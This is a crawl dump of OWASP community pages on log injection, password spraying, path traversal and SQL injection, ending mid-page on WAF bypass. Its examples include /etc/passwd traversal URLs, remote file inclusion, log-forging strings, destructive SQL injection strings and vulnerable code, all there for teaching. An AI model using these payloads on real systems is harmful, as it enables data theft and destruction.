"https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Log_Injection", "titulek": "Log Injection | OWASP Foundation", "h1": "Log Injection", "popis": "Log Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Log_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Log Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Log Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Log_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Log Injection"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Log Forging"}, {"uroven": 3, "text": "Log Forging Example"}, {"uroven": 2, "text": "Code Execution via Log Injection"}, {"uroven": 2, "text": "References"}], "markdown": "# Log Injection\n\nThank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.\n\nThis is an example of a Project or Chapter Page.\n\n## Description\n\nApplications typically use log files to store a history of events or\ntransactions for later review, statistics gathering, or debugging.\nDepending on the nature of the application, the task of reviewing log\nfiles may be performed manually on an as-needed basis or automated with\na tool that automatically culls logs for important events or trending\ninformation.\n\nWriting invalidated user input to log files can allow an attacker to\nforge log entries or inject malicious content into the logs. This is\ncalled log injection.\n\nLog injection vulnerabilities occur when:\n\n1. Data enters an application from an untrusted source.\n2. The data is written to an application or system log file.\n\nSuccessful log injection attacks can cause:\n\n1. Injection of new/bogus log events (log forging via log injection)\n2. Injection of XSS attacks, hoping that the malicious log event isviewed in a vulnerable web application\n3. Injection of commands that parsers (like PHP parsers) could execute\n\n## Log Forging\n\nIn the most benign case, an attacker may be able to insert false entries\ninto the log file by providing the application with input that includes\nappropriate characters. If the log file is processed automatically, the\nattacker can render the file unusable by corrupting the format of the\nfile or injecting unexpected characters. A more subtle attack might\ninvolve skewing the log file statistics. Forged or otherwise, corrupted\nlog files can be used to cover an attacker’s tracks or even to implicate\nanother party in the commission of a [malicious act](https://web.archive.org/web/20160305000000/http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm)\n\n### Log Forging Example\n\nThe following web application code attempts to read an integer value\nfrom a request object. If the value fails to parse as an integer, then\nthe input is logged with an error message indicating what happened.\n\n```\n... String val = request.getParameter(\"val\"); try { int value = Integer.parseInt(val); } catch (NumberFormatException) { log.info(\"Failed to parse val = \" + val); } ... \n```\n\nIf a user submits the string “twenty-one” for val, the following entry\nis logged:\n\n```\nINFO: Failed to parse val=twenty-one\n```\n\nHowever, if an attacker submits the string\n“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”, the following entry is\nlogged:\n\n```\nINFO: Failed to parse val=twenty-one\n\nINFO: User logged out=badguy\n```\n\nClearly, attackers can use this same mechanism to insert arbitrary log\nentries.\n\n## Code Execution via Log Injection\n\nPHP code can easily be added to a log file, for example:\n\n```\nhttps://www.somedomain.tld/index.php?file=`\n`\n```\n\nThis stage it is called **log file poisoning**. If the log file is\nstaged on a public directory and can be accessed via a HTTP GET request,\nthe embedded PHP command may execute in certain circumstances. This is a\nform of [Command Injection](Command_Injection) via Log\nInjection.\n\n## References\n\n- G. Hoglund and G. McGraw. Exploiting Software: How to BreakCode. Addison-Wesley, February 2004.\n- [https://medium.com/@shatabda/security-log-injection-what-how-a510cfc0f73b](https://medium.com/@shatabda/security-log-injection-what-how-a510cfc0f73b)\n- [https://www.geeksforgeeks.org/log-injection/](https://www.geeksforgeeks.org/log-injection/)\n- [https://affinity-it-security.com/what-is-log-injection/](https://affinity-it-security.com/what-is-log-injection/)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 3760, "slov": 534, "odkazu": 31, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:47", "sha256": "5cbde4738e73c6b8275ab99bb7fba7e042f00c7bda2620ea35557f350352e233", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm", "https://medium.com/@shatabda/security-log-injection-what-how-a510cfc0f73b", "https://www.geeksforgeeks.org/log-injection/", "https://affinity-it-security.com/what-is-log-injection/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Password_Spraying_Attack", "titulek": "Password Spraying Attack | OWASP Foundation", "h1": "Password Spraying Attack", "popis": "Password Spraying Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Password_Spraying_Attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Password Spraying Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Password Spraying Attack | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Password_Spraying_Attack", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Password Spraying Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Mitigations"}, {"uroven": 2, "text": "Reference"}], "markdown": "# Password Spraying Attack\n\n**Author:** Rishu Ranjan\n\n## Description\n\n**Password spraying** is a type of brute force attack. In this attack, an attacker will brute force logins based on list of usernames with default passwords on the application. \nFor example, an attacker will use one password (say, Secure@123) against many different accounts on the application to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.\n\nThis attack can be found commonly where the application or admin sets a default password for the new users.\n\n## Mitigations\n\n- Brute force preventation should be on both field, i.e., Username and Password.\n- Set account lockout policies after a certain number of failed login attempts to prevent credentials from being guessed. Implement CAPTCHA, if lockout is not a viable option.\n- The admin managed application should force users to change their password on first login with default password.\n- Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.\n\n## Reference\n\n- https://attack.mitre.org/techniques/T1110/003/\n- https://www.microsoft.com/security/blog/2020/04/23/protecting-organization-password-spray-attacks/\n- [Credential Stuffing](Credential_stuffing)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 1382, "slov": 174, "odkazu": 27, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:25:19", "sha256": "d55f9da4978e3ad6847637de1cbcf22a7e53d7630bd72edf5ad024e2bff0676a", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Path_Traversal", "titulek": "Path Traversal | OWASP Foundation", "h1": "Path Traversal", "popis": "Path Traversal on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Path_Traversal", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Path Traversal on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Path Traversal | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Path_Traversal", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Path Traversal"}, {"uroven": 2, "text": "Overview"}, {"uroven": 3, "text": "How to Avoid Path Traversal Vulnerabilities"}, {"uroven": 4, "text": "How to identify if you are vulnerable"}, {"uroven": 4, "text": "How to protect yourself"}, {"uroven": 3, "text": "How to Test for Path Traversal Vulnerabilities"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Request variations"}, {"uroven": 4, "text": "Percent encoding (aka URL encoding)"}, {"uroven": 4, "text": "OS specific"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 3, "text": "Example 4"}, {"uroven": 3, "text": "Absolute Path Traversal"}, {"uroven": 2, "text": "References"}], "markdown": "# Path Traversal\n\n## Overview\n\nA path traversal attack (also known as directory traversal) aims to\naccess files and directories that are stored outside the web root\nfolder. By manipulating variables that reference files with\n“dot-dot-slash (../)” sequences and its variations or by using\nabsolute file paths, it may be possible to access arbitrary files and\ndirectories stored on file system including application source code or\nconfiguration and critical system files. It should be noted that access\nto files is limited by system operational access control (such as in the\ncase of locked or in-use files on the Microsoft Windows operating\nsystem).\n\nThis attack is also known as “dot-dot-slash”, “directory traversal”,\n“directory climbing” and “backtracking”.\n\n### How to Avoid Path Traversal Vulnerabilities\n\nAll but the most simple web applications have to include local resources, such as images, themes, other scripts, and so on. Every time a resource or file is included by the application, there is a risk that an attacker may be able to include a file or remote resource you didn’t authorize.\n\n#### How to identify if you are vulnerable\n\n- Be sure you understand how the underlying operating system will process filenames handed off to it.\n- Don’t store sensitive configuration files inside the web root\n- For Windows IIS servers, the web root should not be on the system disk, to prevent recursive traversal back to system directories.\n\n#### How to protect yourself\n\n- Prefer working without user input when using file system calls\n- Use indexes rather than actual portions of file names when templating or using language files (ie value 5 from the user submission = Czechoslovakian, rather than expecting the user to return “Czechoslovakian”)\n- Ensure the user cannot supply all parts of the path – surround it with your path code\n- Validate the user’s input by only accepting known good – do not sanitize the data\n- Use chrooted jails and code access policies to restrict where the files can be obtained or saved to\n- If forced to use user input for file operations, normalize the input before using in file io API’s, such as [normalize()](https://docs.oracle.com/javase/8/docs/api/java/net/URI.html#normalize--) .\n\n### How to Test for Path Traversal Vulnerabilities\n\nSee the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) article on how to\n[test for path traversal vulnerabilities](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include.md).\n\n## Description\n\n### Request variations\n\nEncoding and double encoding:\n\n- `%2e%2e%2f` represents `../`\n- `%2e%2e/` represents `../`\n- `..%2f` represents `../`\n- `%2e%2e%5c` represents `..\\`\n- `%2e%2e\\` represents `..\\`\n- `..%5c` represents `..\\`\n- `%252e%252e%255c` represents `..\\`\n- `..%255c` represents `..\\`\n\nand so on.\n\n#### Percent encoding (aka URL encoding)\n\nNote that web containers perform one level of decoding on percent\nencoded values from forms and URLs.\n\n- `..%c0%af` represents `../`\n- `..%c1%9c` represents `..\\`\n\n#### OS specific\n\nUNIX\n\n```\nRoot directory: “ / “ \nDirectory separator: “ / “\n```\n\nWINDOWS\n\n```\nRoot directory: “ : \\ “\nDirectory separator: “ / “ or “ \\ ” \nNote that windows allows filenames to be followed by extra . \\ / characters.\n```\n\nIn many operating systems, null bytes `%00` can be injected to terminate the filename. For example, sending a parameter like:\n\n`?file=secret.doc%00.pdf`\n\nwill result in the Java application seeing a string that ends with “.pdf” and the operating system will see a file that ends in “.doc”. Attackers may use this trick to bypass validation routines.\n\n## Examples\n\n### Example 1\n\nThe following examples show how the application deals with the resources in use.\n\n```\nhttp://some_site.com.br/get-files.jsp?file=report.pdf\nhttp://some_site.com.br/get-page.php?home=aaa.html \nhttp://some_site.com.br/some-page.asp?page=index.html\n```\n\nIn these examples it’s possible to insert a malicious string as the\nvariable parameter to access files located outside the web publish\ndirectory.\n\n```\nhttp://some_site.com.br/get-files?file=../../../../some dir/some file\nhttp://some_site.com.br/../../../../some dir/some file\n```\n\nThe following URLs show examples of *NIX password file exploitation.\n\n```\nhttp://some_site.com.br/../../../../etc/shadow\nhttp://some_site.com.br/get-files?file=/etc/passwd\n```\n\nNote: In a Windows system an attacker can navigate only in a partition\nthat locates web root while in the Linux they can navigate in the whole\ndisk.\n\n### Example 2\n\nIt’s also possible to include files and scripts located on external\nwebsite.\n\n`http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php`\n\n### Example 3\n\nThese examples illustrate a case when an attacker made the server show\nthe CGI source code.\n\n`http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi`\n\n### Example 4\n\nThis example was extracted from: [Wikipedia - Directory Traversal](https://en.wikipedia.org/wiki/Directory_traversal_attack#Example)\n\nA typical example of vulnerable application code is:\n\n```\n\n```\n\nAn attack against this system could be to send the following HTTP\nrequest:\n\n```\nGET /vulnerable.php HTTP/1.0\nCookie: TEMPLATE=../../../../../../../../../etc/passwd\n```\n\nGenerating a server response such as:\n\n```\nHTTP/1.0 200 OK\nContent-Type: text/html\nServer: Apache\n\nroot:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh\ndaemon:*:1:1::/tmp:\nphpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh\n```\n\nThe repeated `../` characters after `/home/users/phpguru/templates/` has\ncaused [include()](http://www.php.net/manual/en/function.include.php) to\ntraverse to the root directory, and then include the UNIX password file\n`/etc/passwd`.\n\nUNIX `etc/passwd` is a common file used to demonstrate **directory\ntraversal**, as it is often used by crackers to try cracking the\npasswords.\n\n### Absolute Path Traversal\n\nThe following URLs may be vulnerable to this attack:\n\n```\nhttp://testsite.com/get.php?f=list\nhttp://testsite.com/get.cgi?f=2\nhttp://testsite.com/get.asp?f=test\n```\n\nAn attacker can execute this attack like this:\n\n```\nhttp://testsite.com/get.php?f=/var/www/html/get.php\nhttp://testsite.com/get.cgi?f=/var/www/html/admin/get.inc\nhttp://testsite.com/get.asp?f=/etc/passwd\n```\n\nWhen the web server returns information about errors in a web\napplication, it is much easier for the attacker to guess the correct\nlocations (e.g. path to the file with a source code, which then may be\ndisplayed).\n\n- [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n- [Resource Injection](https://owasp.org/www-community/attacks/Resource_Injection)\n\n- [Improper Data Validation](https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation)\n\n- [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## References\n\n- [https://cwe.mitre.org/data/definitions/22.html](https://cwe.mitre.org/data/definitions/22.html)\n- [Path Traversal Threat Class](https://web.archive.org/web/20160305000000/http://www.webappsec.org/projects/threat/classes/path_traversal.shtml)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 7284, "slov": 886, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:25:46", "sha256": "0ee00f9785dab24de57a5e2fd31d25a314017c63d3a8412bed96634135b36f4d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://docs.oracle.com/javase/8/docs/api/java/net/URI.html", "https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include.md", "https://en.wikipedia.org/wiki/Directory_traversal_attack", "http://www.php.net/manual/en/function.include.php", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/22.html", "http://www.webappsec.org/projects/threat/classes/path_traversal.shtml", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/SQL_Injection", "titulek": "SQL Injection | OWASP Foundation", "h1": "SQL Injection", "popis": "SQL Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/SQL_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "SQL Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "SQL Injection | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/SQL_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "SQL Injection"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 3, "text": "How to Avoid SQL Injection Vulnerabilities"}, {"uroven": 3, "text": "How to Review Code for SQL Injection Vulnerabilities"}, {"uroven": 3, "text": "How to Test for SQL Injection Vulnerabilities"}, {"uroven": 3, "text": "How to Bypass Web Application Firewalls with SQLi"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 2, "text": "References"}], "markdown": "# SQL Injection\n\n**Contributor(s):** kingthorin, zbraiterman\n\n## Overview\n\nA [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection) attack consists of insertion\nor “injection” of a SQL query via the input data from the client to the\napplication. A successful SQL injection exploit can read sensitive data\nfrom the database, modify database data (Insert/Update/Delete), execute\nadministration operations on the database (such as shutdown the DBMS),\nrecover the content of a given file present on the DBMS file system and\nin some cases issue commands to the operating system. SQL injection\nattacks are a type of injection attack, in which SQL commands\nare injected into data-plane input in order to affect the execution of\npredefined SQL commands.\n\n## Threat Modeling\n\n- SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, or become administrators of the database server.\n- SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections.\n- The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.\n\n### How to Avoid SQL Injection Vulnerabilities\n\nSee the OWASP [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html).\nSee the OWASP [Query Parameterization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html).\n\n### How to Review Code for SQL Injection Vulnerabilities\n\nSee the [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/) article on how to Review Code for SQL Injection vulnerabilities.\n\n### How to Test for SQL Injection Vulnerabilities\n\nSee the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) for information on testing for SQL Injection vulnerabilities.\n\n### How to Bypass Web Application Firewalls with SQLi\n\nSee the OWASP Article on [using SQL Injection to bypass a WAF](SQL_Injection_Bypassing_WAF)\n\n## Description\n\nSQL injection attack occurs when:\n\n1. An unintended data enters a program from an untrusted source.\n2. The data is used to dynamically construct a SQL query\n\nThe main consequences are:\n\n- **Confidentiality** : Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL Injection vulnerabilities.\n- **Authentication** : If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.\n- **Authorization** : If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL Injection vulnerability.\n- **Integrity** : Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL Injection attack.\n\n## Risk Factors\n\nThe platform affected can be:\n\n- Language: SQL\n- Platform: Any (requires interaction with a SQL database)\n\nSQL Injection has become a common\nissue with database-driven web sites. The flaw is easily detected, and\neasily exploited, and as such, any site or software package with even a\nminimal user base is likely to be subject to an attempted attack of this\nkind.\n\nEssentially, the attack is accomplished by placing a meta character into\ndata input to then place SQL commands in the control plane, which did\nnot exist there before. This flaw depends on the fact that SQL makes no\nreal distinction between the control and data planes.\n\n## Examples\n\n### Example 1\n\nIn SQL:\n`select id, firstname, lastname from authors`\n\nIf one provided: `Firstname: evil'ex` and `Lastname: Newman`\n\nthe query string becomes:\n\n`select id, firstname, lastname from authors where firstname = 'evil'ex' and lastname ='newman'`\n\nwhich the database attempts to run as:\n\n`Incorrect syntax near il' as the database tried to execute evil.`\n\nA safe version of the above SQL statement could be coded in Java as:\n\n```\nString firstname = req.getParameter(\"firstname\");\nString lastname = req.getParameter(\"lastname\");\n// FIXME: do your own validation to detect attacks\nString query = \"SELECT id, firstname, lastname FROM authors WHERE firstname = ? and lastname = ?\";\nPreparedStatement pstmt = connection.prepareStatement( query );\npstmt.setString( 1, firstname );\npstmt.setString( 2, lastname );\ntry\n{\n ResultSet results = pstmt.execute( );\n}\n```\n\n### Example 2\n\nThe following C# code dynamically constructs and executes a SQL query\nthat searches for items matching a specified name. The query restricts\nthe items displayed to those where owner matches the user name of the\ncurrently-authenticated user.\n\n```\n...\nstring userName = ctx.getAuthenticatedUserName();\nstring query = \"SELECT * FROM items WHERE owner = '\"\n + userName + \"' AND itemname = '\"\n + ItemName.Text + \"'\";\nsda = new SqlDataAdapter(query, conn);\nDataTable dt = new DataTable();\nsda.Fill(dt);\n...\n```\n\nThe query that this code intends to execute follows:\n\n```\nSELECT * FROM items\nWHERE owner =\nAND itemname = ;\n```\n\nHowever, because the query is constructed dynamically by concatenating a\nconstant base query string and a user input string, the query only\nbehaves correctly if `itemName` does not contain a single-quote character.\nIf an attacker with the user name wiley enters the string `\"name' OR\n'a'='a\"` for `itemName`, then the query becomes the following:\n\n```\nSELECT * FROM items\nWHERE owner = 'wiley'\nAND itemname = 'name' OR 'a'='a';\n```\n\nThe addition of the `OR 'a'='a'` condition causes the where clause to\nalways evaluate to true, so the query becomes logically equivalent to\nthe much simpler query:\n\n`SELECT * FROM items;`\n\nThis simplification of the query allows the attacker to bypass the\nrequirement that the query only return items owned by the authenticated\nuser; the query now returns all entries stored in the items table,\nregardless of their specified owner.\n\n### Example 3\n\nThis example examines the effects of a different malicious value passed\nto the query constructed and executed in Example 1. If an attacker with\nthe user name hacker enters the string `\"name'); DELETE FROM items; --\"`\nfor `itemName`, then the query becomes the following two queries:\n\n```\nSELECT * FROM items\nWHERE owner = 'hacker'\nAND itemname = 'name';\n\nDELETE FROM items;\n\n--'\n```\n\nMany database servers, including Microsoft® SQL Server 2000, allow\nmultiple SQL statements separated by semicolons to be executed at once.\nWhile this attack string results in an error in Oracle and other\ndatabase servers that do not allow the batch-execution of statements\nseparated by semicolons, in databases that do allow batch execution,\nthis type of attack allows the attacker to execute arbitrary commands\nagainst the database.\n\nNotice the trailing pair of hyphens (`--`), which specifies to most database servers that the remainder of the statement is to be treated as\na comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a\ndatabase where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to\nthe one shown in Example 1. If an attacker enters the string `\"name'); DELETE FROM items; SELECT \\* FROM items WHERE 'a'='a\"`, the following\nthree valid statements will be created:\n\n```\nSELECT * FROM items\nWHERE owner = 'hacker'\nAND itemname = 'name';\n\nDELETE FROM items;\n\nSELECT * FROM items WHERE 'a'='a';\n```\n\nOne traditional approach to preventing SQL injection attacks is to\nhandle them as an input validation problem and either accept only\ncharacters from an allow list of safe values or identify and escape a\ndeny list of potentially malicious values. An allow list can be a very\neffective means of enforcing strict input validation rules, but\nparameterized SQL statements require less maintenance and can offer more\nguarantees with respect to security. As is almost always the case,\ndeny listing is riddled with loopholes that make it ineffective at\npreventing SQL injection attacks. For example, attackers can:\n\n- Target fields that are not quoted\n- Find ways to bypass the need for certain escaped meta-characters\n- Use stored procedures to hide the injected meta-characters\n\nManually escaping characters in input to SQL queries can help, but it\nwill not make your application secure from SQL injection attacks.\n\nAnother solution commonly proposed for dealing with SQL injection\nattacks is to use stored procedures. Although stored procedures prevent\nsome types of SQL injection attacks, they fail to protect against many\nothers. For example, the following PL/SQL procedure is vulnerable to the\nsame SQL injection attack shown in the first example.\n\n```\nprocedure get_item (\n itm_cv IN OUT ItmCurTyp,\n usr in varchar2,\n itm in varchar2)\nis\n open itm_cv for ' SELECT * FROM items WHERE ' ||\n 'owner = '''|| usr ||\n ' AND itemname = ''' || itm || '''';\nend get_item;\n```\n\nStored procedures typically help prevent SQL injection attacks by\nlimiting the types of statements that can be passed to their parameters.\nHowever, there are many ways around the limitations and many interesting\nstatements that can still be passed to stored procedures. Again, stored\nprocedures can prevent some exploits, but they will not make your\napplication secure against SQL injection attacks.\n\n- [SQL Injection Bypassing WAF](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF)\n- [Blind SQL Injection](Blind_SQL_Injection)\n- [Code Injection](Code_Injection)\n- [Double Encoding](../Double_Encoding)\n- [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection.html)\n\n## References\n\n- [SQL Injection Knowledge Base](https://book.hacktricks.xyz/pentesting-web/sql-injection) - A reference guide for MySQL, MSSQL and Oracle SQL Injection attacks.\n- [GreenSQL Open Source SQL Injection Filter](https://web.archive.org/web/20160305000000/http://www.greensql.net/) - An Open Source database firewall used to protect databases from SQL injection attacks.\n\n[Category:Injection](https://owasp.org/www-community/Injection_Flaws)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 10665, "slov": 1559, "odkazu": 41, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:40", "sha256": "82c7b9e4f5cbdb51bd9b5be5ce1bce0ecfcc165a90350587854b9ecefc159639", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://book.hacktricks.xyz/pentesting-web/sql-injection", "http://www.greensql.net/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF", "titulek": "SQL Injection Bypassing WAF | OWASP Foundation", "h1": "SQL Injection Bypassing WAF", "popis": "SQL Injection Bypassing WAF on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/SQL_Injection_Bypassing_WAF", "jazyk": "en", "robots_meta": "", "og": {"og:description": "SQL Injection Bypassing WAF on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "SQL Injection Bypassing WAF | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/SQL_Injection_Bypassing_WAF", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "SQL Injection Bypassing WAF"}, {"uroven": 2, "text": "SQLi"}, {"uroven": 2, "text": "SQL Injection – Basic Concepts"}, {"uroven": 2, "text": "Bypass with Comments"}, {"uroven": 2, "text": "Case Changing"}, {"uroven": 2, "text": "Replaced Keywords"}, {"uroven": 2, "text": "Advanced Methods"}, {"uroven": 2, "text": "Auth Bypass"}, {"uroven": 2, "text": "Benchmark"}, {"uroven": 2, "text": "Contributor"}], "markdown": "# SQL Injection Bypassing WAF\n\nThank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.\n\nThis is an example of a Project or Chapter Page.\n\n## SQLi\n\nA [SQL injection](SQL_injection) attack consists of insertion\nor “injection” of a SQL query via the input data from the client to the\napplication. A successful SQL injection exploit can read sensitive data\nfrom the database, modify database data (Insert/Update/Delete), execute\nadministration operations on the database (such as shutdown the DBMS),\nrecover the content of a given file present on the DBMS file system and\nin some cases issue commands to the operating system. SQL injection\nattacks are a type of [injection\nattack](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection), in which SQL commands\nare injected into data-plane input in order to effect the execution of\npredefined SQL commands.\n\n## SQL Injection – Basic Concepts\n\nThere are two types of SQL Injection\n\n```\n• SQL Injection into a String/Char parameter\n Example: SELECT * from table where example = 'Example'\n\n• SQL Injection into a Numeric parameter\n Example: SELECT * from table where id = 123\n```\n\n1. Exploitation of SQL 